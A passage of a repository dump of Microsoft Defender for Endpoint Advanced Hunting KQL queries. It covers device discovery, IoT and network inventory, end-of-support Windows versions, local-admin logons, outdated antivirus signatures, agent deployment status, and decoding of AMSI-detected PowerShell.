(DeviceTvmInfoGathering 56 | | extend AF = parse_json(AdditionalFields) 57 | | extend ASR1 = parse_json(AdditionalFields.AsrConfigurationStates) 58 | | project DeviceName, ASR1 59 | | mv-expand parse_json(ASR1) 60 | | extend ASRRule = tostring(bag_keys(ASR1)[0]) 61 | | extend AsrRuleSetting = extract(@':"(.*?)"',1,tostring(ASR1)) 62 | ) 63 | on $left.DeviceName == $right.DeviceName 64 | | join kind=leftouter (asrkb) 65 | on $left. ASRRule == $right. AsrRuleName 66 | | project DeviceName, OSPlatform, Description, AsrRuleName, AsrRuleSetting 67 | | summarize AsrRuleSet = parse_json(make_set(AsrRuleSetting)[0]) by DeviceName, Description 68 | | evaluate pivot(Description,make_set(AsrRuleSet), DeviceName) 69 | ```Kusto 70 | -------------------------------------------------------------------------------- /AdvancedHunting/MDE - DeviceDiscovery.md: -------------------------------------------------------------------------------- 1 | # Device Discovery 2 | 3 | Device discovery uses Microsoft Defender for Endpoint on onboarded Windows 10 and Server 2019 devices to discover unmanaged devices in your corporate network. 4 | For each discovered device you see which onboarded device it was seen by. This information can help determine the network location of each discovered device and subsequently, help to identify it in the network. 5 | 6 | For a particular discovered device in the network, you can now look at a new "SeenBy” column, added to the DeviceInfo record in Advanced Hunting. This lists the device ids of the last devices (up to 5) to have seen the discovered device. 7 | 8 | 9 | You can use the following query to return the relevant data on the specified discovered device id, along with the list of devices that have seen it in the network. 10 | 11 | --- 12 | 13 | ## Query 14 | 15 | ```Kusto 16 | let deviceId = ""; // Fill ID for specific device, leave blank for all 17 | let lookback = ago(7d); 18 | let machines = DeviceInfo 19 | | where Timestamp >= lookback 20 | | where isempty(deviceId) or DeviceId == deviceId 21 | | where OnboardingStatus != "Onboarded" and isempty(MergedToDeviceId) 22 | | summarize arg_max(Timestamp, *) by DeviceId 23 | | join kind=leftouter (DeviceNetworkInfo | where Timestamp > lookback) on DeviceId 24 | | summarize arg_max(Timestamp, *) by DeviceId 25 | | mv-expand todynamic(SeenBy) 26 | | extend SeenByDeviceId = tostring(SeenBy.DeviceId), LastEncountered = todatetime(SeenBy.LastEncountered) 27 | | project DeviceName, DeviceId, DeviceType, DeviceSubtype, OnboardingStatus, OSPlatform, Vendor, SeenByDeviceId, LastEncountered, IPAddresses 28 | ; 29 | machines 30 | | join (DeviceInfo | where Timestamp > lookback and OnboardingStatus == "Onboarded" and OSPlatform != "") on $left.SeenByDeviceId == $right.DeviceId 31 | | summarize arg_max(Timestamp, *) by DeviceId, SeenByDeviceId 32 | //| join (DeviceNetworkInfo | where Timestamp > lookback) on $left.SeenByDeviceId == $right.DeviceId // Uncomment to extend with more network info as needed 33 | | project DeviceName, DeviceId, SeenByDeviceId, SeenByDeviceName = DeviceName1, DeviceType, DeviceSubtype, OnboardingStatus, OSPlatform, Vendor, IPAddresses, LastEncountered 34 | | summarize SeenByDeviceNames=make_set(SeenByDeviceName), SeenByDeviceIds=make_set(SeenByDeviceId) by DeviceName, DeviceId, DeviceType, DeviceSubtype, OnboardingStatus, OSPlatform, Vendor, IPAddresses 35 | | project-reorder DeviceName, DeviceId, SeenByDeviceNames, SeenByDeviceIds, * 36 | 37 | ``` 38 | 39 | Run this query on the DeviceInfo table to return all discovered devices along with the most up-to-date details for each device: 40 | 41 | ``` 42 | DeviceInfo 43 | | summarize arg_max(Timestamp, *) by DeviceId // Get latest known good per device Id 44 | | where isempty(MergedToDeviceId) // Remove invalidated/merged devices 45 | | where OnboardingStatus != "Onboarded" 46 | ``` 47 | 48 | By invoking the SeenBy function, in your advanced hunting query, you can get detail on which onboarded device a discovered device was seen by. 49 | This information can help determine the network location of each discovered device and subsequently, help to identify it in the network. 50 | 51 | ``` 52 | DeviceInfo 53 | | where OnboardingStatus != "Onboarded" 54 | | summarize arg_max(Timestamp, *) by DeviceId 55 | | where isempty(MergedToDeviceId) 56 | | limit 100 57 | | invoke SeenBy() 58 | | project DeviceId, DeviceName, DeviceType, SeenBy 59 | ``` 60 | 61 | Device discovery leverages Microsoft Defender for Endpoint onboarded devices as a network data source to attribute activities to non-onboarded devices. The network sensor on the Microsoft Defender for Endpoint onboarded device identifies two new connection types: 62 | 63 | - ConnectionAttempt - An attempt to establish a TCP connection (syn) 64 | - ConnectionAcknowledged - An acknowledgment that a TCP connection was accepted (syn\ack) 65 | 66 | This means that when a non-onboarded device attempts to communicate with an onboarded Microsoft Defender for Endpoint device, the attempt will generate a DeviceNetworkEvent and the non-onboarded device activities can be seen on the onboarded device timeline, and through the Advanced hunting DeviceNetworkEvents table. 67 | 68 | ``` 69 | DeviceNetworkEvents 70 | | where ActionType == "ConnectionAcknowledged" or ActionType == "ConnectionAttempt" 71 | | take 10 72 | ``` 73 | 74 | 75 | 76 | 77 | ## See also 78 | 79 | [Device discovery overview](https://learn.microsoft.com/en-us/microsoft-365/security/defender-endpoint/device-discovery?view=o365-worldwide)\ 80 | 81 | 82 | 83 | ## Contributor info 84 | 85 | **Contributor:** Alex Verboon, Microsoft -------------------------------------------------------------------------------- /AdvancedHunting/MDE - DeviceDiscovery_SeenBy.md: -------------------------------------------------------------------------------- 1 | # MDE Device Discovery 2 | 3 | Use the below queries to retreieve details about Device Discovery 4 | 5 | 6 | ```Kusto 7 | // Device Discovery - what onboarded device discovered the not onboarded Endpoint Device 8 | let AllOnboardedDevices = DeviceInfo 9 | | where Timestamp > ago (30d) 10 | | where OnboardingStatus == 'Onboarded' 11 | | where isnotempty( OSDistribution) 12 | | extend DiscoveryDeviceId = DeviceId 13 | | extend DiscoveryDeviceName = DeviceName 14 | | extend DiscoveryOSDistribution = OSDistribution 15 | | summarize arg_max(Timestamp,DiscoveryDeviceId, DiscoveryDeviceName, DiscoveryOSDistribution) by DiscoveryDeviceId 16 | | project-away Timestamp, DiscoveryDeviceId1; 17 | DeviceInfo 18 | | where Timestamp > ago (30d) 19 | | where OnboardingStatus <> 'Onboarded' 20 | | where DeviceCategory == @"Endpoint" 21 | | where isempty(MergedToDeviceId) 22 | | summarize arg_max(Timestamp,*) by DeviceId 23 | | invoke SeenBy() 24 | | mv-expand parse_json(SeenBy) 25 | | extend SeenDeviceId = tostring(parse_json(SeenBy.DeviceId)) 26 | | extend LastEncountered = todatetime(tostring(parse_json(SeenBy.LastEncountered))) 27 | | project Timestamp, DeviceId, DeviceName, DeviceCategory, DeviceType, DeviceSubtype, Model, Vendor, OSDistribution, SeenDeviceId, LastEncountered, SeenBy 28 | | summarize arg_max(LastEncountered,*) by DeviceId 29 | | join kind=leftouter AllOnboardedDevices 30 | on $left.SeenDeviceId == $right.DiscoveryDeviceId 31 | | project-away SeenDeviceId 32 | ``` 33 | 34 | 35 | ```Kusto 36 | // Device Discovery - what onboarded device discovered the IoT and Network devices 37 | let AllOnboardedDevices = DeviceInfo 38 | | where Timestamp > ago (30d) 39 | | where OnboardingStatus == 'Onboarded' 40 | | where isnotempty( OSDistribution) 41 | | extend DiscoveryDeviceId = DeviceId 42 | | extend DiscoveryDeviceName = DeviceName 43 | | extend DiscoveryOSDistribution = OSDistribution 44 | | summarize arg_max(Timestamp,DiscoveryDeviceId, DiscoveryDeviceName, DiscoveryOSDistribution) by DiscoveryDeviceId 45 | | project-away Timestamp, DiscoveryDeviceId1; 46 | DeviceInfo 47 | | where Timestamp > ago (30d) 48 | | where DeviceCategory == @"IoT" or DeviceCategory contains @"NetworkDevice" 49 | | where isempty(MergedToDeviceId) 50 | | summarize arg_max(Timestamp,*) by DeviceId 51 | | invoke SeenBy() 52 | | mv-expand parse_json(SeenBy) 53 | | extend SeenDeviceId = tostring(parse_json(SeenBy.DeviceId)) 54 | | extend LastEncountered = todatetime(tostring(parse_json(SeenBy.LastEncountered))) 55 | | project Timestamp, DeviceId, DeviceName, DeviceCategory, DeviceType, DeviceSubtype, Model, Vendor, OSDistribution, SeenDeviceId, LastEncountered 56 | | summarize arg_max(LastEncountered,*) by DeviceId 57 | | join kind=leftouter AllOnboardedDevices 58 | on $left.SeenDeviceId == $right.DiscoveryDeviceId 59 | | project-away SeenDeviceId 60 | ``` 61 | 62 | 63 | 64 | ## See also 65 | 66 | ## Contributor info 67 | 68 | **Contributor:** Alex Verboon 69 | 70 | -------------------------------------------------------------------------------- /AdvancedHunting/MDE - DeviceInventory - Network-IoT.md: -------------------------------------------------------------------------------- 1 | # Microsoft Defender - Device Inventory - Network and IoT 2 | 3 | Use the below queires to retrieve device inventory information of discovered Network and IoT devices 4 | 5 | --- 6 | 7 | ## Query 8 | 9 | ### IoT Device Inventory 10 | 11 | ```Kusto 12 | // IoT Device Inventory 13 | DeviceInfo 14 | | where DeviceCategory == @"IoT" 15 | | summarize arg_max(Timestamp, *) by DeviceId 16 | | join ( 17 | DeviceNetworkInfo 18 | | mv-expand todynamic(IPAddresses) 19 | | extend IPAddress = tostring(parse_json(IPAddresses).IPAddress) 20 | | summarize arg_max(Timestamp, *) by DeviceId 21 | ) 22 | on $left.DeviceId == $right.DeviceId 23 | | project Timestamp, DeviceId, DeviceName, DeviceType, DeviceSubtype, IPAddress, MacAddress, Model, Vendor, OSPlatform, OSVersion, OSDistribution, ExposureLevel 24 | //| summarize count() by DeviceType, DeviceSubtype 25 | ``` 26 | 27 | ### Network Device Inventory 28 | 29 | ```kusto 30 | // Network Device Inventory 31 | DeviceInfo 32 | | where DeviceCategory == @"NetworkDevice" 33 | | summarize arg_max(Timestamp, *) by DeviceId 34 | | join ( 35 | DeviceNetworkInfo 36 | | mv-expand todynamic(IPAddresses) 37 | | extend IPAddress = tostring(parse_json(IPAddresses).IPAddress) 38 | | summarize arg_max(Timestamp, *) by DeviceId 39 | ) 40 | on $left.DeviceId == $right.DeviceId 41 | | project Timestamp, DeviceId, DeviceName, DeviceType, DeviceSubtype, IPAddress, MacAddress, Model, Vendor, OSPlatform, OSVersion, OSDistribution 42 | ``` 43 | 44 | 45 | 46 | 47 | ## Category 48 | 49 | This query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states. 50 | 51 | | Technique, tactic, or state | Covered? (v=yes) | Notes | 52 | |-|-|-| 53 | | Initial access | | | 54 | | Execution | | | 55 | | Persistence | | | 56 | | Privilege escalation | | | 57 | | Defense evasion | | | 58 | | Credential Access | | | 59 | | Discovery | | | 60 | | Lateral movement | | | 61 | | Collection | | | 62 | | Command and control | | | 63 | | Exfiltration | | | 64 | | Impact | | | 65 | | Vulnerability | | | 66 | | Misconfiguration | | | 67 | | Malware, component | | | 68 | 69 | ## See also 70 | 71 | ## Contributor info 72 | 73 | **Contributor:** Alex Verboon -------------------------------------------------------------------------------- /AdvancedHunting/MDE - EOS Windows versions.md: -------------------------------------------------------------------------------- 1 | # MDE - Software Inventory - EOS Windows Versions 2 | 3 | Use the below query to retrieve an overview of EOS Windows OS versions 4 | 5 | --- 6 | 7 | ## Query 8 | 9 | ```Kusto 10 | // EOS Windows Versions 11 | DeviceInfo 12 | | where isnotempty(OSPlatform) 13 | | summarize arg_max(Timestamp, *) by DeviceName 14 | | project DeviceId, DeviceName, OSPlatform, OSBuild, OSVersionInfo 15 | | join kind= leftouter ( 16 | DeviceTvmSoftwareInventory 17 | | where SoftwareName startswith "Windows" 18 | | where isnotempty(EndOfSupportStatus)) 19 | on $left.DeviceId == $right.DeviceId 20 | | summarize ['Installed on'] = count() by OSPlatform, OSVersion, OSVersionInfo, EndOfSupportStatus, EndOfSupportDate 21 | | sort by EndOfSupportDate, OSPlatform, ['Installed on'] 22 | ``` 23 | 24 | 25 | 26 | ## Category 27 | 28 | This query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states. 29 | 30 | | Technique, tactic, or state | Covered? (v=yes) | Notes | 31 | |-|-|-| 32 | | Initial access | | | 33 | | Execution | | | 34 | | Persistence | | | 35 | | Privilege escalation | | | 36 | | Defense evasion | | | 37 | | Credential Access | | | 38 | | Discovery | | | 39 | | Lateral movement | | | 40 | | Collection | | | 41 | | Command and control | | | 42 | | Exfiltration | | | 43 | | Impact | | | 44 | | Vulnerability | | | 45 | | Misconfiguration | | | 46 | | Malware, component | | | 47 | 48 | ## See also 49 | 50 | ## Contributor info 51 | 52 | **Contributor:** Alex Verboon -------------------------------------------------------------------------------- /AdvancedHunting/MDE - Logon with local admin rights.md: -------------------------------------------------------------------------------- 1 | # MDE - Show users that logon with local administrative rights 2 | 3 | Use the below queries to identify devices and users logging on with local administrative rights. 4 | 5 | --- 6 | 7 | ## Query 8 | 9 | 10 | ```Kusto 11 | // Show devices and users where they logon as local admin 12 | let exclude = dynamic(['font driver host','window manager','nt service']); 13 | DeviceLogonEvents 14 | | where AccountDomain !in (exclude) 15 | | where IsLocalAdmin == True 16 | | where LogonType == @"Interactive" 17 | | where ActionType == @"LogonSuccess" 18 | | extend locallogon = extractjson("$.IsLocalLogon",AdditionalFields, typeof(string)) 19 | | project Timestamp, DeviceName, AccountName, AccountSid 20 | | where isnotempty( AccountSid) 21 | | summarize arg_max(Timestamp,*) by DeviceName, AccountName 22 | ``` 23 | 24 | 25 | ```Kusto 26 | // local logon users with Department details 27 | let identities = IdentityInfo 28 | | extend OnPremAccountName = AccountName 29 | | distinct OnPremSid, AccountDisplayName, AccountDomain, OnPremAccountName, AccountUpn, Department, City, Country, IsAccountEnabled, Surname, GivenName; 30 | let exclude = dynamic(['font driver host','window manager','nt service']); 31 | DeviceLogonEvents 32 | | where IsLocalAdmin == True 33 | | where AccountDomain !in (exclude) 34 | | where LogonType == @"Interactive" 35 | | where ActionType == @"LogonSuccess" 36 | | extend locallogon = extractjson("$.IsLocalLogon",AdditionalFields, typeof(string)) 37 | | project Timestamp, DeviceName, AccountName, AccountSid 38 | | where isnotempty( AccountSid) 39 | | summarize arg_max(Timestamp,*) by AccountName 40 | | join kind=innerunique (identities) 41 | on $left. AccountSid == $right. OnPremSid 42 | | project Timestamp, DeviceName, AccountName, AccountSid, OnPremSid, OnPremAccountName, AccountDisplayName, AccountDomain, AccountUpn, Department, City, Country, IsAccountEnabled 43 | ``` 44 | 45 | 46 | 47 | ## Category 48 | 49 | This query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states. 50 | 51 | | Technique, tactic, or state | Covered? (v=yes) | Notes | 52 | |-|-|-| 53 | | Initial access | | | 54 | | Execution | | | 55 | | Persistence | | | 56 | | Privilege escalation | | | 57 | | Defense evasion | | | 58 | | Credential Access | | | 59 | | Discovery | | | 60 | | Lateral movement | | | 61 | | Collection | | | 62 | | Command and control | | | 63 | | Exfiltration | | | 64 | | Impact | | | 65 | | Vulnerability | | | 66 | | Misconfiguration | | | 67 | | Malware, component | | | 68 | 69 | ## See also 70 | 71 | ## Contributor info 72 | 73 | **Contributor:** Alex Verboon -------------------------------------------------------------------------------- /AdvancedHunting/MDE - Outdated Defender Signatures.md: -------------------------------------------------------------------------------- 1 | # Microsoft Defender Antivirus - Outdated Signture updates 2 | 3 | Use the below queries to identify devices that have outdated Defender signature updates. 4 | 5 | --- 6 | 7 | ## Query 8 | 9 | ```Kusto 10 | // Microsoft Defender for Windows - outdated signature updates 11 | // The following query identifies devices with outdated Defender signature updates 12 | let signatureage = 10d; 13 | DeviceTvmSecureConfigurationAssessment 14 | | extend DataCollectionDate = Timestamp 15 | | where ConfigurationId == "scid-2011" // Update Microsoft Defender for Windows Antivirus definitions 16 | | where IsCompliant == 0 17 | | where IsApplicable == 1 18 | | join kind=leftouter DeviceTvmSecureConfigurationAssessmentKB on ConfigurationId 19 | | mv-expand e = parse_json(Context) 20 | | project Timestamp, DeviceName,DeviceId, OSPlatform, SignatureVersion=tostring(e[0]), SignatureDate=todatetime(e[2]), EngineVersion=e[1], ProductVersion=e[3], DataCollectionDate 21 | | where SignatureDate < ago(signatureage) 22 | | join kind=inner (DeviceInfo 23 | | where Timestamp > ago(30d) 24 | | summarize arg_max(Timestamp,*) by DeviceName 25 | | extend LastSeen = Timestamp 26 | ) 27 | on $left.DeviceId == $right.DeviceId 28 | | project Timestamp, DeviceName, DeviceId, OSPlatform, SignatureVersion, SignatureDate, EngineVersion, ProductVersion, LastSeen, DataCollectionDate 29 | | sort by SignatureDate asc 30 | ``` 31 | 32 | ```Kusto 33 | // Microsoft Defender for Windows - outdated signature updates 34 | // The following query identifies devices with outdated Defender signature updates that have their latest signature update date between the defined timeframe 35 | // adjust the below variables as needed 36 | let signatureagemin = now(-10d); 37 | let signatureagemax = now(-11d); 38 | DeviceTvmSecureConfigurationAssessment 39 | | extend DataCollectionDate = Timestamp 40 | | where ConfigurationId == "scid-2011" // Update Microsoft Defender for Windows Antivirus definitions 41 | | where IsCompliant == 0 42 | | where IsApplicable == 1 43 | | join kind=leftouter DeviceTvmSecureConfigurationAssessmentKB on ConfigurationId 44 | | mv-expand e = parse_json(Context) 45 | | project Timestamp, DeviceName,DeviceId, OSPlatform, SignatureVersion=tostring(e[0]), SignatureDate=todatetime(e[2]), EngineVersion=e[1], ProductVersion=e[3], DataCollectionDate 46 | | where SignatureDate between ((signatureagemax) .. (signatureagemin)) 47 | | join kind=inner (DeviceInfo 48 | | where Timestamp > ago(30d) 49 | | summarize arg_max(Timestamp,*) by DeviceName 50 | | extend LastSeen = Timestamp 51 | ) 52 | on $left.DeviceId == $right.DeviceId 53 | | project Timestamp, DeviceName, DeviceId, OSPlatform, SignatureVersion, SignatureDate, EngineVersion, ProductVersion, LastSeen, DataCollectionDate 54 | | sort by SignatureDate asc 55 | ``` 56 | 57 | ```Kusto 58 | // Microsoft Defender for Linux - outdated signature updates 59 | // The following query identifies devices with outdated Defender signature updates 60 | let signatureage = 10d; 61 | DeviceTvmSecureConfigurationAssessment 62 | | extend DataCollectionDate = Timestamp 63 | | where ConfigurationId == "scid-6095" // Microsoft defender for Linux outdated antivirus signatures 64 | | where IsCompliant == 0 65 | | where IsApplicable == 1 66 | | join kind=leftouter DeviceTvmSecureConfigurationAssessmentKB on ConfigurationId 67 | | mv-expand e = parse_json(Context) 68 | | project Timestamp, DeviceName,DeviceId, OSPlatform, SignatureVersion=tostring(e[0]), SignatureDate=todatetime(e[2]), EngineVersion=e[1], ProductVersion=e[3], DataCollectionDate 69 | | where SignatureDate < ago(signatureage) 70 | | join kind=inner (DeviceInfo 71 | | where Timestamp > ago(30d) 72 | | summarize arg_max(Timestamp,*) by DeviceName 73 | | extend LastSeen = Timestamp 74 | ) 75 | on $left.DeviceId == $right.DeviceId 76 | | project Timestamp, DeviceName, DeviceId, OSPlatform, SignatureVersion, SignatureDate, EngineVersion, ProductVersion, LastSeen, DataCollectionDate 77 | | sort by SignatureDate asc 78 | ``` 79 | 80 | 81 | 82 | 83 | ## Category 84 | 85 | This query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states. 86 | 87 | | Technique, tactic, or state | Covered? (v=yes) | Notes | 88 | |-|-|-| 89 | | Initial access | | | 90 | | Execution | | | 91 | | Persistence | | | 92 | | Privilege escalation | | | 93 | | Defense evasion | | | 94 | | Credential Access | | | 95 | | Discovery | | | 96 | | Lateral movement | | | 97 | | Collection | | | 98 | | Command and control | | | 99 | | Exfiltration | | | 100 | | Impact | | | 101 | | Vulnerability | | | 102 | | Misconfiguration | | | 103 | | Malware, component | | | 104 | 105 | ## See also 106 | The initial query to identify devices with outdated definition updates was developed by Jan Geisbauer 107 | https://github.com/jangeisbauer/AdvancedHunting/blob/master/AntiVirusReporting 108 | 109 | ## Contributor info 110 | 111 | **Contributor:** Alex Verboon, Jan Geisbauer 112 | 113 | 114 | -------------------------------------------------------------------------------- /AdvancedHunting/MDE - Unified Agent.md: -------------------------------------------------------------------------------- 1 | # MDE Unified Agent Deployment Status 2 | 3 | Use the below queries to find information about the Microsoft Defender for Endpoint - Unified Agent for downlevel servers Agent deployment 4 | 5 | --- 6 | 7 | ## Query 8 | 9 | ```Kusto 10 | // MMA - Unified Agent status by Agent 11 | DeviceInfo 12 | | where OnboardingStatus == "Onboarded" 13 | | where isnotempty(OSPlatform) 14 | | summarize arg_max(Timestamp,*) by DeviceName 15 | | where isnotempty(OSPlatform) and isnotempty(DeviceName) 16 | | where OSPlatform contains "WindowsServer2012R2" or OSPlatform contains "WindowsServer2016" 17 | | extend Agent = case(ClientVersion startswith "10.3720", "MMA", ClientVersion startswith "10.8", "UnifiedClient","Other") 18 | | summarize by DeviceName, OSPlatform, OnboardingStatus, Agent, ClientVersion 19 | | sort by ClientVersion asc 20 | | summarize TotalServers = count(), MMA = make_set_if(DeviceName, Agent == "MMA"), 21 | Unified = make_set_if(DeviceName, Agent == "UnifiedClient"), 22 | Other = make_set_if(DeviceName, Agent == "Other") 23 | by OSPlatform 24 | | extend TotalMMA = array_length(MMA) 25 | | extend TotalUnified = array_length(Unified) 26 | | extend TotalOther = array_length(Other) 27 | | project OSPlatform, TotalServers, TotalMMA, TotalUnified, TotalOther 28 | ``` 29 | 30 | 31 | ```Kusto 32 | // MMA - Unified Agent status per Server 33 | DeviceInfo 34 | | where OnboardingStatus == "Onboarded" 35 | | where isnotempty(OSPlatform) 36 | | summarize arg_max(Timestamp,*) by DeviceName 37 | | where OSPlatform contains "WindowsServer2012R2" or OSPlatform contains "WindowsServer2016" 38 | | extend Agent = case(ClientVersion startswith "10.3720", "MMA", ClientVersion startswith "10.8", "UnifiedClient","Other") 39 | | summarize by DeviceName, OSPlatform, OnboardingStatus,Agent, ClientVersion 40 | | sort by ClientVersion asc 41 | ``` 42 | 43 | ```Kusto 44 | // Server OS version overview 45 | DeviceInfo 46 | | where OnboardingStatus == "Onboarded" 47 | | where isnotempty(OSPlatform) and isnotempty(DeviceName) 48 | | summarize arg_max(Timestamp,*) by DeviceId 49 | | project Timestamp, DeviceName, ClientVersion, OSPlatform 50 | | where OSPlatform contains "WindowsServer2012R2" or OSPlatform contains "WindowsServer2016" 51 | | summarize count() by ClientVersion,OSPlatform 52 | ``` 53 | 54 | 55 | ```Kusto 56 | // Shows servers and their patch status, servers that still have the MMA agent installed and a high number of missing patches 57 | // will first need to be patched before installing the unified agent . 58 | let missingkb = 59 | // Details missing KBs Windows Server 60 | DeviceTvmSoftwareVulnerabilities 61 | | where SoftwareVendor == 'microsoft' 62 | | where SoftwareName startswith 'windows_server' 63 | | where isnotempty(RecommendedSecurityUpdate) 64 | | distinct DeviceId, RecommendedSecurityUpdate, RecommendedSecurityUpdateId, SoftwareName 65 | | join kind=leftouter ( 66 | DeviceInfo 67 | | where isnotempty(OSPlatform) 68 | | where OnboardingStatus == 'Onboarded' 69 | | where isnotempty(OSVersionInfo) 70 | | summarize arg_max(Timestamp, *) by DeviceId) 71 | on $left.DeviceId == $right.DeviceId 72 | | summarize MissingKBs = make_set(RecommendedSecurityUpdate) by DeviceName 73 | | extend TotalMissingKB = array_length(MissingKBs); 74 | DeviceInfo 75 | | where OnboardingStatus == "Onboarded" 76 | | where isnotempty(OSPlatform) 77 | | summarize arg_max(Timestamp,*) by DeviceName 78 | | where OSPlatform contains "WindowsServer2012R2" or OSPlatform contains "WindowsServer2016" 79 | | extend Agent = case(ClientVersion startswith "10.3720", "MMA", ClientVersion startswith "10.8", "UnifiedClient","Other") 80 | | summarize by DeviceName, OSPlatform, OnboardingStatus,Agent, ClientVersion 81 | | sort by ClientVersion asc 82 | | join kind=leftouter (missingkb) 83 | on $left. DeviceName == $right.DeviceName 84 | ``` 85 | 86 | 87 | 88 | 89 | ```Kusto 90 | // Security Controls - Update EDR sensor for down-level Windows Server - Compliance Summary 91 | DeviceTvmSecureConfigurationAssessment 92 | | where isnotempty(OSPlatform) and isnotempty(DeviceName) 93 | | where OSPlatform contains "WindowsServer2012R2" or OSPlatform contains "WindowsServer2016" 94 | | where ConfigurationId in ("scid-2030") 95 | | summarize arg_max(Timestamp, IsCompliant, IsApplicable) by DeviceId, ConfigurationId, DeviceName, OSPlatform 96 | | extend Configuration = case( 97 | ConfigurationId == "scid-2030", "Update EDR sensor for down-level Windows Server", 98 | "N/A"), 99 | Result = case(IsApplicable == 0, "N/A", IsCompliant == 1, "GOOD", "BAD") 100 | | summarize toint(Compliant = dcountif(DeviceId ,Result=="GOOD")) ,toint(NonCompliant = dcountif(DeviceId,Result=="BAD")), toint(NotApplicable = dcountif(DeviceId, Result =="N/A")) by OSPlatform, Configuration, ConfigurationId 101 | | extend TotalDevices = toint((Compliant + NonCompliant + NotApplicable)) 102 | | extend PctCompliant = toint((Compliant*100) / TotalDevices) 103 | | project OSPlatform, Configuration, Compliant, NonCompliant, TotalDevices, PctCompliant 104 | ``` 105 | 106 | 107 | ## See also 108 | 109 | ## Contributor info 110 | 111 | **Contributor:** Alex Verboon -------------------------------------------------------------------------------- /AdvancedHunting/MDE - Windows 10 LTSC Inventory.md: -------------------------------------------------------------------------------- 1 | # Defender for Endpoint - Device Inventory - Windows LTSC devices 2 | 3 | Use the below queries to identify Windows 10 LTSC devices within your MDE inventory 4 | 5 | --- 6 | 7 | ## Query 8 | 9 | ```Kusto 10 | // We now have information within the DeviceTvmInfoGathering table about ltsc 11 | DeviceTvmInfoGathering 12 | | extend AF = parse_json(AdditionalFields) 13 | | evaluate bag_unpack(AF) 14 | | where IsWindowsLtscVersionRunning == @"true" 15 | ``` 16 | 17 | ```Kusto 18 | // All Windows 10 devices running ltsc and sac, filter on IsLtsc true/false when you just want to see the ltsc/sac devices. 19 | let ltscdevices = DeviceTvmInfoGathering 20 | | summarize arg_max(Timestamp, *) by DeviceId 21 | | extend LtscDeviceId = DeviceId 22 | | extend LtscDeviceName = DeviceName 23 | | extend AF = parse_json(AdditionalFields) 24 | | evaluate bag_unpack(AF) 25 | | where IsWindowsLtscVersionRunning == "true" 26 | | project LtscDeviceId, LtscDeviceName, IsWindowsLtscVersionRunning; 27 | DeviceInfo 28 | | where isnotempty(OSArchitecture) 29 | | summarize arg_max(Timestamp, *) by DeviceId 30 | | where OnboardingStatus == 'Onboarded' 31 | | where OSPlatform == @"Windows10" 32 | | join kind=leftouter (ltscdevices) 33 | on $left.DeviceId == $right.LtscDeviceId 34 | | extend IsLtsc = iff(IsWindowsLtscVersionRunning == "true", "true", "false") 35 | | project Timestamp, DeviceId, DeviceName, IsLtsc, OSArchitecture, OSPlatform, OSBuild, OSVersionInfo, OSVersion, 36 | JoinType, MachineGroup 37 | //| summarize count() by IsLtsc 38 | //| render piechart 39 | ``` 40 | 41 | 42 | ## See also 43 | 44 | - [DeviceTvmInfoGathering](https://learn.microsoft.com/en-us/microsoft-365/security/defender/advanced-hunting-devicetvminfogathering-table?view=o365-worldwide) 45 | 46 | - [Windows 10 Enterprise LTSC](https://learn.microsoft.com/en-us/windows/whats-new/ltsc/) 47 | 48 | ## Contributor info 49 | 50 | **Contributor:** Alex Verboon 51 | 52 | 53 | -------------------------------------------------------------------------------- /AdvancedHunting/MDE-AmsiScriptDetection.md: -------------------------------------------------------------------------------- 1 | # Defender for Endpoint - AmsiScript Execution - Decode PowerShell commands 2 | 3 | Run the below KQL query to decode powershell commands detected by AMSI 4 | --- 5 | 6 | ## Query 7 | 8 | ```Kusto 9 | // Decode PowerShell AmsiScriptDetection's 10 | DeviceEvents 11 | | where ActionType == @"AmsiScriptDetection" 12 | | extend EncodedCommand = extract(@'\s+([A-Za-z0-9+/]{20}\S+$)', 1, InitiatingProcessCommandLine) 13 | | extend DecodedCommand = base64_decode_tostring(EncodedCommand) 14 | | where isnotempty( DecodedCommand) 15 | | project Timestamp, DeviceName, InitiatingProcessFileName,FileName,DecodedCommand 16 | ``` 17 | 18 | ## Contributor info 19 | 20 | **Contributor:** Alex Verboon 21 | -------------------------------------------------------------------------------- /AdvancedHunting/MDE-DefenderEngine.md: -------------------------------------------------------------------------------- 1 | # Microsoft Defender - Engine , Platform states 2 | 3 | Use the below query to retrieve information about Microsoft Defender 4 | 5 | --- 6 | 7 | ## Query 8 | 9 | ```Kusto 10 | DeviceTvmInfoGathering 11 | | extend xAVMode = parse_json(AdditionalFields.AvMode) 12 | | where isnotempty(xAVMode) 13 | | extend AF = parse_json(AdditionalFields) 14 | | evaluate bag_unpack(AF, columnsConflict='keep_source'): ( 15 | Timestamp: datetime, 16 | DeviceName: string, 17 | OSPlatform: string, 18 | AsrConfigurationStates: dynamic, 19 | AvEnginePublishTime: datetime, 20 | AvEngineRing: string, 21 | AvEngineUpdateTime: datetime, 22 | AvEngineVersion: string, 23 | AvIsEngineUptodate: string , 24 | AvIsPlatformUptodate: string, 25 | AvIsSignatureUptoDate: string, 26 | AvMode: string, 27 | AvPlatformPublishTime: datetime, 28 | AvPlatformRing: string, 29 | AvPlatformUpdateTime: datetime, 30 | AvPlatformVersion: string, 31 | AvScanResults: string, 32 | AvSignatureDataRefreshTime: datetime, 33 | AvSignaturePublishTime: datetime, 34 | AvSignatureRing: string, 35 | AvSignatureUpdateTime: datetime, 36 | AvSignatureVersion: string, 37 | AdditionalFields: dynamic) 38 | // AV Engine Version 39 | //| project DeviceName, OSPlatform,AvIsEngineUptodate, AvEnginePublishTime,AvEngineUpdateTime,AvEngineVersion,AvEngineRing 40 | //| summarize count() by AvEngineVersion 41 | // AV Platformversion 42 | //| project Timestamp, DeviceName, OSPlatform, AvIsPlatformUptodate,AvPlatformPublishTime,AvPlatformUpdateTime,AvPlatformVersion,AvPlatformRing 43 | // AVSignatureVersion 44 | | project Timestamp, DeviceName, OSPlatform, AvIsSignatureUptoDate,AvSignatureUpdateTime,AvSignaturePublishTime,AvSignatureDataRefreshTime,AvSignatureVersion,AvSignatureRing 45 | ``` 46 | -------------------------------------------------------------------------------- /AdvancedHunting/MDE-InternetFacing.md: -------------------------------------------------------------------------------- 1 | # Defender for Endpoint - internet-facing devices 2 | 3 | - [Discovering internet-facing devices using Microsoft Defender 